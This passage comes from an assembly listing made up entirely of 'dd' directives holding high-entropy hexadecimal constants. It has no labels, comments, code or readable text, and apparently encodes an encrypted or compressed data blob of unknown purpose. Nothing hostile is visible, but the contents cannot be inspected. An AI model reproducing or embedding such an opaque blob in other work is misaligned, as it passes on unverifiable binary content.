280D2C20h, 0C51730C7h dd 72C3CBCDh, 3BB93013h, 0D66B354Fh, 0C00F55C2h, 0E324DF7Fh dd 35C52326h, 0CC8DE2Dh, 0E21F27D0h, 35740E2Fh, 3DB0BE12h dd 0DC003B36h, 0FCF4B0C7h, 0DD0CBFDFh, 0E81417F5h, 744102AAh dd 0E914E926h, 6C076D6Bh, 0DA276A39h, 2073968Fh, 0DBF62ADDh dd 2B9B3EBBh, 28FE3DE2h, 1D0DD9C5h, 2126E118h, 0A8295A1Eh dd 0B29F42Dh, 7D8D9C65h, 4750015Fh, 5A36455Bh, 2B315DD5h dd 3DA93B53h, 941F8F4Fh, 21262F8Ch, 2126232Ch, 584A4D74h dd 0E4D584Eh, 42505578h, 6AB40893h, 736EC060h, 51500972h dd 0BD1EE738h, 1623EEBCh, 0A45E2022h, 29201F25h, 2EADA329h dd 0A7332F17h, 0F37B213h, 0F89C3436h, 93C003Bh, 1DDB8D3Dh dd 0A0631F24h, 4D2ACA51h, 8E875A21h, 2C805629h, 86532F2Ch dd 3432F30Ah, 39F7F749h, 4B3BBCBBh, 5FAA340Dh, 3AE1ED16h dd 0C721E3C8h, 67772276h, 3B2B2915h, 7E0E2F2Ch, 27406138h dd 37F4DCB5h, 0BE3A6B15h, 3E9D3C3Eh, 0D636F068h, 0A721E494h dd 0ADC4AF22h, 8269A32Fh, 0BEEE7C2Fh, 3623D025h, 9C3566EFh dd 0EE396AEFh, 6CED3C69h, 348D73Fh, 0C6F1CAEh, 0D48F532Fh dd 212B976Eh, 0C33BDB7Bh, 6D5057A8h, 0BD6B0871h, 3AD83AA0h dd 0EA2BFBC5h, 134CB03Ch, 2F1F111Dh, 84232D21h, 0A3230660h dd 3DBAA339h, 303FA526h, 3BCCC8B2h, 0B9BFF6A0h, 48235BB6h dd 4F333122h, 944C3538h, 0ECE0C9EEh, 63E12E64h, 215A250Ch dd 7CC2E7Ch, 0DB303264h, 0A6356527h, 133B3D3Fh, 3C3CD53Dh dd 1F1E0C1Ah, 0D365C81Ch, 0AA2D24F8h, 39C84403h, 70726CEDh dd 3FB85472h, 0CFF120D3h, 0AAFA38C6h, 2B312B94h, 1D1A5B0Bh dd 493A6A24h, 2503AF32h, 26293606h, 0AD306EA1h, 0B8706F3Eh dd 5ADD2F77h, 0A1FE2776h, 0FD3D2E7Fh, 2F0C3D00h, 8A17DEDDh dd 702B0215h, 481F26C5h, 2CCB1EE6h, 0B07E12B9h, 77B37631h dd 2A776667h, 0BF605A5Bh, 1FFD4AF9h, 0A0E11C1Ch, 2C222E54h dd 28262A24h, 242A2628h, 0D02E222Ch, 333D313Fh, 3739353Bh dd 3B353937h, 3F313D33h, 111D13E4h, 2D212F1Fh, 29252B23h dd 25292727h, 2E22AD2Bh, 27BA61E3h, 10654EAEh, 0C5066E17h dd 0FE3E3C04h, 751D1B3Eh, 112C1C1Eh, 1573136Dh, 19DF179Bh dd 1C2A1BD7h, 191E0Fh, 4420206h, 889064Ah, 0F5B0A8Ch, 2E6D0D53h dd 12862C8Ch, 16C51085h, 1B0F14C9h, 1FDB198Ah, 4A61A12h dd 12E06E3h, 0B632035Bh, 0AC163F18h, 13C7772Ch, 0FE05C2EBh dd 0FCD51139h, 7616014Eh, 0FED50C88h, 0F41C3CFCh, 4DCDB478h dd 2F427F64h, 0BB0A30D8h, 0F96C0D56h, 8C651D1Bh, 0E1DF201Eh dd 1DEE9A2Ch, 0CE4754E8h, 3CDC39BBh, 0D3DA522Fh, 37778406h dd 0F3879F7h, 0E6973D79h, 1A361A7Eh, 2067001Ah, 17284236h dd 0E52445A6h, 0EC20589Ch, 7450C142h, 0D7D25EF1h, 0E7D1EB36h dd 87843BDAh, 8A1DFDE6h, 0A0FD18D3h, 0C0952425h, 0CC890C25h dd 242F8C29h, 28272FB3h, 0B4D7F725h, 93C4C237h, 0FD2F2379h dd 593C3E75h, 2D0F1DC5h, 4B746304h, 0E61CA77Ch, 0E2B298Dh dd 0ED0A796Eh, 3B224520h, 0BBCCDCF0h, 0FF3B3A38h, 0B42E337Ch dd 0DE195D36h, 26A5E64Eh, 942425CBh, 0A7E93D63h, 467F4575h dd 23F1F163h, 7EDD357Fh, 0CA2A7868h, 5B5D0D23h, 0DD27F373h dd 653AFF1Eh, 7AE2A3A9h, 0A04C7C78h, 0D1324B27h, 68296BEAh dd 353B035Dh, 39373739h, 32333B35h, 131B303Eh, 0E227761Dh dd 35DCDC4Bh, 0C0321DF7h, 0EB03CAAAh, 0B10BEA2Bh, 75DA2E31h dd 6C56CE35h, 3CBA963Bh, 1A1A349Eh, 1E382D6Eh, 2E2741D8h dd 260425A5h, 2A0F8E48h, 2E1B2D8Ch, 32066ED4h, 3436B4A8h dd 3A19226Bh, 3D3E8A48h, 5A42249Bh, 28A1211Fh, 0E65244Ch dd 2A2BB826h, 5A2CAC29h, 0F20E4A2Dh, 5C213133h, 29387A21h dd 0B3343F7Bh, 95389BABh, 324A1C1Eh, 73FA370h, 0E3F67F2h dd 0DEE20C2h, 0F9BAA44Ah, 75443772h, 11D01F32h, 12C2272h dd 9C8DD76Eh, 0CC99931Eh, 26232D61h, 2877E8AEh, 0E5AEA620h dd 0BBAB3859h, 0B1325324h, 983B42E7h, 0B6333A2Dh, 9F341A79h dd 143A69DCh, 0A264317Fh, 0E42164E0h, 8ABE0FA3h, 97295D01h dd 832D1ECh, 304825E4h, 3A2EBDB1h, 37B5686Fh, 0BC0138B7h dd 23DCA31Fh, 9B20A05Eh, 6AE9EC07h, 71D2D18Eh, 0F716D71h dd 326E4613h, 6EFA10ACh, 153D03BFh, 0F11C9A3Fh, 23201C26h dd 2700A7A9h, 7C29A71Ah, 2D2D957Ch, 0A530082Dh, 0A7B0A073h dd 0A3B8F705h, 3D355D36h, 1C19330Dh, 466B6BB9h, 406E86AAh dd 273922A5h, 0EF8CA697h, 0F9322E3Eh, 7483D922h, 3C358256h dd 2DBB3E57h, 5D3549BCh, 18515EB0h, 2323BA66h, 0B7A0AF20h dd 0EBAE2A28h, 0A1AB222Ch, 5DBF3230h, 0FABD0551h, 5BBA78D0h dd 576E4EFCh, 1E23E877h, 0EC45E029h, 266558A3h, 0EADA325h dd 7B2D4C5Fh, 0BB66666Fh, 0E6451077h, 0EA38BC37h, 80C20F3Bh dd 261F1B3Eh, 5DA9D81Eh, 3F502F06h, 6BBC25ABh, 960A62Bh dd 31F2AC5Ah, 7335BA36h, 0B23CF6B5h, 0FA07391Ah, 1D3BCE4Bh dd 5C1F970Dh, 3C075295h, 10037AADh, 3B2B80C1h, 5A78D1D2h dd 342E5814h, 74BA155Fh, 1951121Dh, 3DD76F3Dh, 9CE1E203h dd 0A83A21E4h, 362E3ECh, 0C32A3710h, 0D0D1306Ah, 0B30E5960h dd 36367145h, 3A1860D0h, 3F362B54h, 73E91FBFh, 8A135A1Dh dd 84161670h, 7CC03C23h, 0AE2E1C7Ch, 1E998C27h, 0BD0F5488h dd 971B35E1h, 0AF3434EFh, 1B7CFE32h, 74FA24CEh, 0C48828F5h dd 0A02B6336h, 819E2868h, 3B336B9Bh, 77873073h, 9132A735h dd 0E90F445Bh, 0CC0BCC3Ah, 20263D16h, 1DA71B5Dh, 11B31FA9h dd 8812B629h, 84168214h, 0D8F9208h, 38C30FEDh, 9D5B3E74h dd 7052AB5h, 2532BC3Ch, 0AB82C114h, 876A1F60h, 4F107588h dd 5B068D4Ch, 93124D0Ah, 0AB9615B8h, 19EB902h, 58A0790h dd 0CA8DFCA7h, 4D20BF66h, 12454303h, 0BB2A1724h, 31585D2Ah dd 46583097h, 160B0A13h, 5B395455h, 4A454815h, 1D3A3D1Fh dd 5154793Eh, 405C460Ch, 470507A6h, 175F060Ah, 1430EF26h dd 353E1141h, 39D9E307h, 13393B79h, 0BA7B7E01h, 0C84E2F6Ch dd 272D223Eh, 6A7E1565h, 948128F2h, 0B3E3E22Dh, 0BF6512DDh dd 10133641h, 0FB6CCCBCh, 133F1A79h, 9B11191Ch, 232121D0h dd 0E7A323AFh, 2BCCAD27h, 0D7AD2E2Ch, 652844CFh, 175735DCh dd 0FFB9C6C5h, 3CBEB438h, 4042CB30h, 2143E21Ch, 0CD2B72FEh dd 247BA8C7h dd 0CF25280Bh, 0AA1CD07Ch, 367DDC3Fh, 0F414D924h, 4910DD44h dd 26A812DFh, 0A18B155Ch, 0C73C9026h, 89293758h, 2559DA53h dd 0F1037171h, 7322F073h, 0C125BC3Fh, 3F3E209Ah, 14303F35h dd 2B0ADB7Ah, 0CC34AA2Ah, 2A316614h, 0D35BA9BFh, 34235BD2h dd 0F02E3006h, 0C737B339h, 0FAD2264Ch, 42C0C1C3h, 1A288450h dd 37A6B862h, 7AA5247Ah, 0A9C7EA2Eh, 0C3AD2D11h, 0B765673Ch dd 6DF649BFh, 0F7F36C7h, 3F3131F3h, 0F296BFD1h, 0A9A2601Eh dd 71732C66h, 1A2BA377h, 7EA67C1Bh, 0CE44B927h, 0C278BD33h dd 0C5C16DBEh, 34CCFF2Eh, 4D4A0B2Dh, 528023F6h, 5356F22h dd 15EEA43Ch, 0C57A304Ah, 0E163ADE5h, 0B6C84E94h, 275F23F2h dd 7E2B7C77h, 0DFB7DF1h, 31FA751Ch, 4946A272h, 474F5644h dd 6E474B5Bh, 5C07AEEEh, 0B3405354h, 3ABB3637h, 7D3CDB62h dd 7F507DBBh, 7CD82BDAh, 0AD003361h, 46422724h, 5C3C2829h dd 3F2F148Ch, 72575538h, 0B7CB3437h, 3B2EB905h, 3F24BD3Dh dd 9FBD1E10h, 0E1B52F0Ah, 66A3B8CBh, 0F1ADD7DAh, 5A8605Fh dd 761578A3h, 371EB432h, 0D2123B66h, 193D3935h, 59D3F3Dh dd 0AD0CF70Fh, 75DBDE22h, 0F22032D9h, 0AE2D7B28h, 20B02BEAh dd 0B638B372h, 394C36CDh, 48E7BE3Eh, 62966850h, 0C848323Dh dd 33AF1250h, 2067AF11h, 0A51B6CA2h, 0B382F73h, 0B537D23Ah dd 2FA96522h, 22FFD26Eh, 0D528BCB4h, 48099F37h, 22C295C8h dd 7C57619Dh, 0F4A90DEBh, 0A2010339h, 42095130h, 460BEE09h dd 4B04CB06h, 3F01F403h, 1E1FEC1Ah, 2121AC1Eh, 173C1405h dd 1BF01912h, 1C5A1DDEh, 1B20355h, 582079Bh, 9F60B88h dd 0A9C0FD6h, 28382FEFh, 14422A2Ch, 10A21648h, 1CB612AAh dd 18F51E8Eh, 0EA32190Ch, 785B5E2h, 2050679Eh, 879F3982h dd 1EAF543Ch, 22AF8C97h, 740552F9h, 2A9F8D4Dh, 2E91502Bh dd 30996E6Fh, 0BFCCCDB8h, 0C7F6B73Dh, 3E3B3B39h, 0E4B391D5h dd 774E1DE3h, 236655EFh, 1229C25h, 0C30229A5h, 76FA77Dh dd 333D2DCFh, 5996353Ah, 0D36038D8h, 2317F217h, 9C1D35DAh dd 0A9C90CEEh, 3F952D03h, 0AB7EA82Bh, 2F4C6BEFh, 201438AEh dd 26A6B13Ch, 3CBB5236h, 0C6BE6C9Ch, 0AC9A92C0h, 34551B39h dd 54F52D72h, 5177D8D8h, 7501974h, 0C1B41452h, 0E74A77Ch dd 29C0CAAh, 81602B96h, 8EDF047Ah, 3824C236h, 616B5981h dd 85F5CC5h, 8817B653h, 249B055Dh, 4D938E0Dh, 0C44E16D9h dd 0CC8A3E05h, 33022A45h, 346E3663h, 7608FE88h, 156E0FFCh dd 7C0AA902h, 2E2E2D44h, 0BE303131h, 33607143h, 2B3A1FD0h dd 0BC32F9BFh, 6BE21CE3h, 76AD4807h, 27252467h, 0F0453DD8h dd 2EAE2D29h, 0F20234EBh, 6D686A6Ch, 32FDBB37h, 0FBB99DF8h dd 961D0B3Dh, 36219F03h, 2D5A22DAh, 0C1298632h, 0EA222B21h dd 0CEB6252Eh, 23343332h, 1FC2DF22h, 493C0738h, 0AC466161h dd 207B451Ch, 20232FA8h, 0EA57E2A6h, 2D2B2E79h, 0FC2F27BDh dd 345932DDh, 0B7CF5ECAh, 583A3A7Ah, 1F3F9FBDh, 3A97794Ch dd 0CF62ABA0h, 2010766Ch, 2B64606Ah, 2F7D687Eh, 585C4432h dd 40595B34h, 723F3956h, 585FBD51h, 6A7C4C7Eh, 22AEA077h dd 6371777Ah, 5F6A746Ah, 8E5F5E27h, 462AF036h, 6595B41h dd 664D5D64h, 6A6C7AEEh, 78984837h, 715F8E5Ah, 0F3244A50h dd 0D928A67Eh, 2D584838h, 91305E45h, 45479D05h, 493E5536h dd 3B59CB1Eh, 0B61D5E9Eh, 961F5FB6h, 0A1E221D4h, 28A6EA25h dd 0FB3F8A9Ch, 0B1CD2F28h, 0D90EF231h, 0C0913641h, 1FB3A48h dd 193BBD3Eh, 4A1E9C12h, 0A3BF1CF0h, 0E6BFF957h, 29EB1F2Ah dd 0E61DA999h, 72563572h, 8E02B630h, 0A9983D3Ah, 0D73C3939h dd 0DE191EB2h, 21F9241Ah, 2225BDCBh, 7BA905E4h, 2D704D77h dd 18F13022h, 0C89556DBh, 3C85FFC8h, 0B829B86Bh, 1C08082Dh dd 7E242D12h, 0D5A16FAFh, 2E2069D2h, 6BDCE10Bh, 0BA2435FEh dd 34E718E2h, 0EE033466h, 11B17449h, 181B3F83h, 71341290h dd 0A42A7171h, 5B42C920h, 550F7E2Fh, 0BB332E95h, 0FF1860F9h dd 3A37CFF4h, 0F2B0C312h, 1BD76E6Ah, 4F4C6B62h, 0A2F54FC8h dd 20623503h, 26C27898h, 2B6EEFFFh, 15325916h, 37D3DC84h dd 0FB1F3D3Bh, 17FF5502h, 5A209C34h, 226F200Ah, 3224DC26h dd 0EBC86823h, 1EA8204Bh, 721D316Bh, 0EE215437h, 1A3A3887h dd 2C29FC3Fh, 0B71E08DFh, 0DD229D8Eh, 0A7A121A3h, 2BA9EB24h dd 2FAE5180h, 5E32AEB2h, 0B4B031B0h, 0BB5C9D34h, 3FBDDF38h dd 3019BD67h, 6EB50D1Ch, 0A57F20A3h, 2AA56527h, 8629AB5Dh dd 5C2DAC15h, 0B61E38F0h, 3D767237h, 3EB91893h, 1C639F89h dd 193C0A51h, 6E3D6C3Fh, 74E6823h, 6624EDC0h, 21316D2Fh dd 0DCC4FA7Dh, 7A30782Bh, 249799AFh, 20732271h, 5308A156h dd 3D9CC13Fh, 16683B6Eh, 769202Bh, 7F7D28CBh, 3E51CEC7h dd 17B119F2h, 69E86D76h, 0C9D26B6Dh, 16DE38EFh, 21741FDBh dd 0A8E12012h, 0EF0226AAh, 0A66BAC2Ah, 25D8EEEFh, 39D533F3h dd 0FE3BF63Dh, 0B63CF3B1h, 3FCAC8D6h, 24F03DD6h, 23EF2Ah dd 0A3EA2511h, 0B8A62AC1h, 693D27h, 0FE33B999h, 0F938DFF4h dd 0B73B2BDBh, 4DB45E73h, 1F609040h, 7173711Bh, 79ABEAAFh dd 45A73868h, 1FC4C50Ah, 0B822617Ch, 46D4DDFFh, 752E5138h dd 0CE186D1Bh, 94312C55h, 72717091h, 36A326A9h, 42787877h dd 33CCB0EEh, 0C21123DFh, 0D6FD9415h, 2E092819h, 1C2BD434h dd 998DE3Bh, 5C8130Eh, 0AC2124E0h, 5DC03632h, 0C0CEB61h dd 0BCD43D2Fh, 2756E7DAh, 3D1DA6C9h, 9FDCD329h, 18230E28h dd 0C80B4E1Fh, 2622838Bh, 3D252367h, 2E8FC20Dh, 3416032Fh dd 0BEDB2433h, 0D9AA5470h, 0D7003B39h, 3F3F52B4h, 9C1B690Ch dd 2957DEDDh, 1FBF2563h, 0D47A86A9h, 2FAD6D39h, 0BA231B2h dd 9723CA65h, 343A3C38h, 0B4347583h, 1C96104Bh, 327CA0DEh dd 0CFE416A8h, 8FDA2825h, 0CFAEE4A0h, 9635C32Ch, 9F73B4B8h dd 0B172E6F8h, 0D5FC7CE1h, 16FEDA2Ah, 61F842FEh, 0F417F0A9h dd 512AF715h, 9667234Ah, 2114AED8h, 3424D4F3h, 3AC30996h dd 0B6C608E9h, 0F42837D1h, 0AD4C3E1Eh, 4530B8Dh, 0A3999999h dd 0C125CBE4h, 5AAD6F24h, 34C23161h, 933636D0h, 6A696FCBh dd 0D334CE6h, 6D2F5CCEh, 0A16E731Dh, 760DA27Ah, 1C1B6B28h dd 0EE747BD1h, 50504351h, 45C80606h, 387050AFh, 8DCA3D6Dh dd 3E2EA354h, 0A308FA1Dh, 0D7CA6148h, 3C0BC827h, 0DC66A930h dd 0F2B44233h, 0BD3E3447h, 68291C63h, 67F29C4h, 154AAB3Eh dd 91205B93h, 9526A2AEh, 0D6CAC76h, 752F7A3Eh, 30607D2Ah dd 0BE08466Ah, 0B2B8CB60h, 2BC81F86h, 541F3D3Eh, 484D4F1Dh dd 24671F7Dh, 67AA2624h, 0E4D8C240h, 262FD1D1h, 4C3FF274h dd 0D3663E34h, 142B3A34h, 0DA3DBE6Eh, 1D4E4F1Dh, 4231107h dd 7B02F9A0h, 1F8B0ECBh, 0EDA2A88Dh, 303D52Eh, 2112B1BDh dd 135B7EFBh, 8316D1BDh, 1A1D1F1Bh, 0AB2360A1h, 0E401809Fh dd 49028E7h, 0CA7C20ABh, 3B311E2Ch, 457524F2h, 4F567E17h dd 5A4EFD55h, 41191BDFh, 20851C1Eh, 57045820h, 29027B26h dd 5549772Eh, 5E5CCF5Eh, 37465640h, 19B4577Fh, 0DC1C2966h dd 0FD781AB0h, 4F6D4E92h, 57464121h, 66151556h, 2C633A4Ch dd 742FFE20h, 0C133721h, 1946DE67h, 7D37BB3Ch, 79D73A3Eh dd 4F13CD84h, 3AF00981h, 88B38C1h, 3DCA3C38h, 294E28A8h dd 0DA31E1F8h, 31866E1Ah dd 5A6A3DA8h, 163AAF3Ch, 4B0D15D9h, 0E32429D7h, 2FE0772Ah dd 0EC1E56Fh, 0DE8C470h, 11E06302h, 0B714045Bh, 0ECC66A35h dd 541BFD6Ch, 0F54C030Dh, 90220C24h, 7E7A7C47h, 764DC0DFh dd 53C4F974h, 3E22A03Ah, 23A5C32h, 0AA9747A9h, 74744BAFh dd 8E6BA31Fh, 508021FAh, 54BC52BEh, 384F56B4h, 0C926A802h dd 34FEA237h, 6337E27Ch, 0B02232CAh, 33E03208h, 0B3F97B9h dd 1E1EA01Fh, 0FE190C00h, 0AC242559h, 18F9A2C3h, 0F5EEDAECh dd 338B335Ah, 77316435h, 3B5A381Ah, 0CC686F6Ch, 3C08E3B0h dd 663661FFh, 0E4E50807h, 3283A8BCh, 3EA4EC18h, 6335146Bh dd 50393533h, 1E7D78F0h, 3F3D3E33h, 7C0C19FFh, 0DE341FDEh dd 29A40F37h, 892C5126h, 7B7E3B40h, 2334AF48h, 21F43B72h dd 2CC73336h, 3D3A3B12h, 9F136F56h, 325DE1D5h, 1273A249h dd 0A501429Ch, 6DC32A79h, 32E8245Dh, 36F7A738h, 4E35F783h dd 4FCF38FBh, 3353CFAh, 4FFE1FD6h, 0CB2AAA1Ah, 25444C77h dd 294D5BF8h, 482A7DD9h, 51638C32h, 13F7B436h, 0F9103C09h dd 7EB5F3Eh, 1CD7D01Eh, 9928E48Bh, 99994112h, 72189B16h dd 1F9797F1h, 86150063h, 7E352C02h, 11870980h, 0F823909h dd 1D130040h, 0C2A12EA0h, 0A9BF835h, 96261692h, 231D961Bh dd 8F223Fh, 8636CCC9h, 3E280B07h, 3E330A85h, 2DA90E81h dd 5ED6E283h, 2F40321Bh, 5D2C7974h, 7B6E0A23h, 0BB6C8659h dd 971D201h, 0F82702B5h, 0B70E925Bh, 1C6B133Bh, 0DF19721Ch dd 35A9297Eh, 7656E5A9h, 0D0782842h, 0B22F2328h, 0B2317170h dd 950BA72h, 0B599D511h, 0C03DC2FFh, 1C1D5618h, 2070184h dd 26642723h, 0AA2A31C7h, 4A2526CBh, 11F1DBC7h, 0DE20CB63h dd 36A9E035h, 0C1C3BFCBh, 3C395A4Ah, 3C60DB1Bh, 8E55AEA8h dd 3961A2ACh, 0EC50432Fh, 15617F2Bh, 7FDED837h, 0AAAC2DE6h dd 3CAD672Dh, 0DD2930CEh, 6041D207h, 0E40A322Ch, 29752E18h dd 2FABBF38h, 0F8F47773h, 0A57A2821h, 71303934h, 35A33A5Bh dd 4F6F0274h, 5B550E1Ch, 31623570h, 0A63F37CCh, 2974EF68h dd 2E16E326h, 0C22CD960h, 70368CB4h, 34FA3EEAh, 5D1E3BB7h dd 6B6F3C7Eh, 4B014E1Fh, 6961044Dh, 47092874h, 484844h dd 38313D22h, 3E323417h, 2A1577E0h, 411C8A77h, 0A4931D3Ah dd 7F5F1B62h, 8F132D22h, 6860580Bh, 840F252Ah, 317D5004h dd 9F70FC3Ch, 12263319h, 9C217C45h, 58F0073Dh, 81415890h dd 772302AAh, 29D834CDh, 0FC365CC2h, 29AFACA2h, 0A43373A0h dd 28435135h, 0CBD3694Fh, 0F36A701Eh, 1F9D16F2h, 3D4B008h dd 474E62B6h, 0B5B2AE3h, 69E9092Dh, 0B8363128h, 7AA38B0h dd 7A57B010h, 3F3A3C83h, 411F5D18h, 5C256624h, 68A8E823h dd 0E5C17937h, 7C28A93Ah, 26A7438h, 3509DC60h, 0FCB22C25h dd 7F7B2EB9h, 13971638h, 0A501DBFh, 0E52AAAEAh, 2DAA330Ch dd 3A2D1528h, 0DA3851A7h, 3336B83Fh, 0D0FC21F4h, 3D97AB84h dd 0AA1BDFFBh, 0C4B11EF9h, 24C78421h, 28C3B88Fh, 0A22BCEBFh dd 0D4A92EC9h, 0D04D9831h, 38D34035h, 5A3BDE57h, 45B53ED9h dd 0FD481DF8h, 6DCB8D20h, 610424C0h, 0C2F629CAh, 972ECD12h dd 26D028A0h, 53E4D0C2h, 0ABF93B38h, 20F23D3Ah, 0E11D031Bh dd 223E2000h, 263A243Ch, 2A362838h, 2E322C34h, 2D312F20h dd 24352B33h, 52C65237h, 7D8C3C73h, 0BC781A3Fh, 71201B1Eh dd 2501AA46h, 6DC4A422h, 4CAD7D1Ah, 113F453Ah, 0BC503132h dd 0EA3C373Bh, 30634B78h, 114FC056h, 0A3967EE5h, 2433622Dh dd 0BD85CE21h, 8D0D2B88h, 313F414Dh, 35B1A7D9h, 1036B776h dd 0BEB3D23Bh, 1ABE663Ch, 6494F51Fh, 0A24F20A2h, 49CE2125h dd 0A53A28A9h, 0EE2D2DAEh, 32843431h, 42F2414h, 8AF0A01h dd 220D3D8Dh, 70294E2Fh, 1721942Bh, 11711230h, 2A401F7Ah dd 961AA11Ch, 406C918h, 88763432h, 0E01C10Fh, 73D4D02h dd 24F72291h, 20432536h, 1FF90CA2h, 127D1C3Ch, 0E0172BBAh dd 31A29C15h, 0E5A2B931h, 0F6B0BC31h, 3C3CACB2h, 7D50B7D6h dd 0C87F160Ah, 0A93093B1h, 46CF586Bh, 5322CAB8h, 6385A3Ah dd 23497421h, 2F46F33Ch, 6C241ACBh, 2B8F9DD5h, 2E530A63h dd 30E2562Bh, 2FD03251h, 0B0D83E53h, 2F87F8ACh, 33313439h dd 1336C58Ch, 69383810h, 323C3D34h, 76161D4Dh, 2228249Fh dd 3FB62103h, 922A2826h, 3B28AC8Eh, 0B8612AAEh, 33DD3E34h dd 3F499E3Dh, 2619BC31h, 8D161FCEh, 2474151Eh, 24262385h dd 21873226h, 2D6A7331h, 0B1C8A429h, 7524F521h, 3A1BB732h dd 63FC65D2h, 343B3CFEh, 73F7C696h, 276320A2h, 60CFFE6Dh dd 0E3A028A9h, 71102C2Dh, 0B94336F2h, 0BB333549h, 0D4733835h dd 1FFDDA4Ah, 6CDF4A44h, 0A4D22352h, 0AB02B13Fh, 2B632A28h dd 0A4EEA97Ah, 641845C1h, 0FF23CA34h, 0B03B3BE0h, 6FFA3F01h dd 0E1E8761Bh, 42D54AC8h, 0F1DA22AAh, 7A1598AEh, 68EDEA27h dd 74B83127h, 776AD73Ah, 3B3B4132h, 5ED63575h, 1A331D10h dd 69331839h, 95E836DDh, 6799E020h, 630D6935h, 5E5C6837h dd 7A29A350h, 4B5DDF46h, 4E65BA5Bh, 1D95019Bh, 0DB961AE2h dd 44A6625h, 5D454F32h, 6A8F4AABh, 5F640E5Fh, 5778D35Ch dd 72382833h, 0D3367838h, 5D01C339h, 0E65F5B55h, 782962B8h dd 27572422h, 0E229293Eh, 34392D5Dh, 3343D7D0h, 46B2C52Ch dd 383A2038h, 3F4ECE76h, 76130802h, 8238D519h, 5E2B344Eh dd 24382867h, 3E2D5DA8h, 43EAA121h, 0A93B2433h, 34293846h dd 2E3D4D96h, 6CA7AD31h, 0E82E0F1Eh, 86A52353h, 61A5762Dh dd 0ADBFC333h, 7CF3241Fh, 0F50D2870h, 4CF8B2A1h, 183CD028h dd 1EA23B1Eh, 407D4C1Eh, 3F452442h, 2927E561h, 740F6637h dd 699C19C8h, 8BDA3030h, 311B74h, 22E2D24Dh, 16F8DF94h dd 2E26155Ch, 1BD71921h, 1E701C26h, 129E1085h, 16E214EAh dd 0ACC08C0h, 0D990F3Eh, 1FC038Dh, 5E307F0h, 24F726FFh dd 18D91AECh, 1D221F21h, 11311329h, 1564176Fh, 9680B60h dd 0D580F50h, 1400344h, 5B60744h, 268520ADh, 0AA0424BEh dd 0E63161D2h, 0DF9BE409h, 0AE18AB5Eh, 45311F50h, 625731Ch dd 2A5E5697h, 2E1F6C24h, 2CF32C3Dh, 1A0D3DE8h, 7033004h dd 67DB2337h, 2C2B270Bh, 32FFC2ACh, 0BF653031h, 0E013822Dh dd 3A9B3A49h, 1E4DD66Bh, 9BF62A9Fh, 34224972h, 2FE42DE0h dd 2E21BFADh, 2736BD2Ch, 633689B0h, 0E2ADD65h, 2A23A849h dd 37263D0Dh, 6A19DD20h, 2E5A200Eh, 0AF17AF75h, 0EAAA1827h dd 5BEC172Fh, 0F16F24DAh, 0F2613FE3h, 2C4DE93Ch, 0FE33FC38h dd 799D6A34h, 51231F1Ch, 0C540A700h, 0C106A27Bh, 5EAE2F2Ah dd 0B49821AEh, 34F4333Ch, 3C387488h, 3F3E3B31h, 1C1AEF33h dd 2D1AFE1Eh, 0A4292711h, 0B379232h, 2C7B202Dh, 6809AC27h dd 3E633CB4h, 0BD7F3535h, 32BE4A37h, 121F6B46h, 63BF197Ah dd 0F1112C21h, 830271ADh, 2BAA796Ch, 7E0E4B60h, 0F00F5178h dd 36D73454h, 172FC66Ch, 295C0CFDh, 5A947A9Bh, 7CC9663Bh dd 76ABA563h, 0AA69E4E5h, 0D1652E0Bh, 733E10F8h, 5C717693h dd 0DA6B6927h, 70B5C32Bh, 184B903Bh, 2476A397h, 2C1E1692h dd 29232F69h, 6C3D7EF3h, 2DED088Eh, 0E4585B16h, 0D1506133h dd 7D1E63B9h, 0BD408F22h, 0C8130B1Ah, 42BC508h, 35FF3626h dd 0B479330Dh, 39EF346Bh, 0D4EC3B43h, 39F32AC3h, 7C3E2B56h dd 5837EF3Fh, 0F732141Eh dd 0EF2A8122h, 2506CB32h, 0F99F2CC1h, 26FF7425h, 0E22681ACh dd 3596AB3Dh, 0D133E87Dh, 554A1195h, 5D1B2D18h, 6528F2A4h dd 4E77828h, 0B392D67h, 0C4249C20h, 0EA30C10Ch, 24713F84h dd 50997814h, 0C49DF8C2h, 0D82C4AFDh, 7C1EDFBEh, 0F30B332Ah dd 0E83319E7h, 266C2ECAh, 32F2A4D6h, 0DF4433C9h, 0D648373Bh dd 147F4B3Ch, 8483EB2h, 31D5A0Dh, 331723FEh, 2161C7E4h dd 1D2A5BADh, 70F62575h, 2E23A618h, 0B6AAD0B4h, 0BC6938A9h dd 6F413E49h, 6B4B6B1Ch, 23564F20h, 79265142h, 0B67C295Ch dd 5D602D58h, 2292A130h, 0A5CB1533h, 24F52F98h, 21B95A3Bh dd 62901F1Ah, 624083E0h, 0CFB12791h, 29295C2Ch, 0D5992C5Fh dd 0C2331656h, 0DAB63492h, 6F6A0837h, 42B66B6Dh, 98581B1Bh dd 6AA410E1h, 27342320h, 0E947A798h, 0A7EBA039h, 2FBA3F2Eh dd 0E60EF9B8h, 0BD263743h, 0B72A4FF3h, 96133E6Eh, 23DD1F43h dd 26E3A12Fh, 2AE1A525h, 0F05EE3ADh, 0DBEF2E1Eh, 0A6F32934h dd 371A5935h, 3C340D39h, 1B303E32h, 0CF010CD0h, 8E0A3Fh dd 38B53C84h, 6B82C5A9h, 4E7B7E38h, 0D88B2631h, 5816D79Eh dd 0FFD22E7Ch, 300EB6DBh, 0EED1389Fh, 222E501Eh, 23CE7420h dd 6E46A84Fh, 0A039EC62h, 40323178h, 59465133h, 145C4E5Bh dd 4C4F6C5Eh, 199E6950h, 0C0F9F19h, 27A41D90h, 2B682326h dd 0EC482CEEh, 5E362F2Dh, 355A5642h, 797B5232h, 3D37F82Ah dd 0DC6B4A38h, 60167A0Ch, 0E44B4626h, 2D274B25h, 797B2E6Ah dd 0C00B2A6Ch, 63333301h, 66BACFBEh, 3C74B747h, 0D5D2D639h dd 944EE2E0h, 0CCCAEA28h, 0E7A32284h, 5C2AAC27h, 472C2D29h dd 323131B0h, 372A3C04h, 393A3139h, 0F72B3DC3h, 9D1C1EC1h dd 522224DBh, 0AD99A4BAh, 2B2940E9h, 0AEB3ED1Dh, 9295582Ch dd 0DE26300Fh, 0A936BE18h, 0BE9433BFh, 9B80733Ch, 2EA61111h dd 0AC2BA7B6h, 8D4024A6h, 9B824A8h, 0F3572FB2h, 118EB261h dd 0B93298DEh, 55AB3F80h, 1CF71BB2h, 0AA1F4D9Ch, 75BF71A1h dd 0C03D6525h, 5C1A2BBBh, 0A4A9A40Fh, 0B0303271h, 983C42F5h dd 0C6E6BB4h, 1A0D223Ch, 6C1F2F89h, 0E70E3CD0h, 24F64ACCh dd 0EB1C2D40h, 0D5B6D0Dh, 3437C1B4h, 361622DCh, 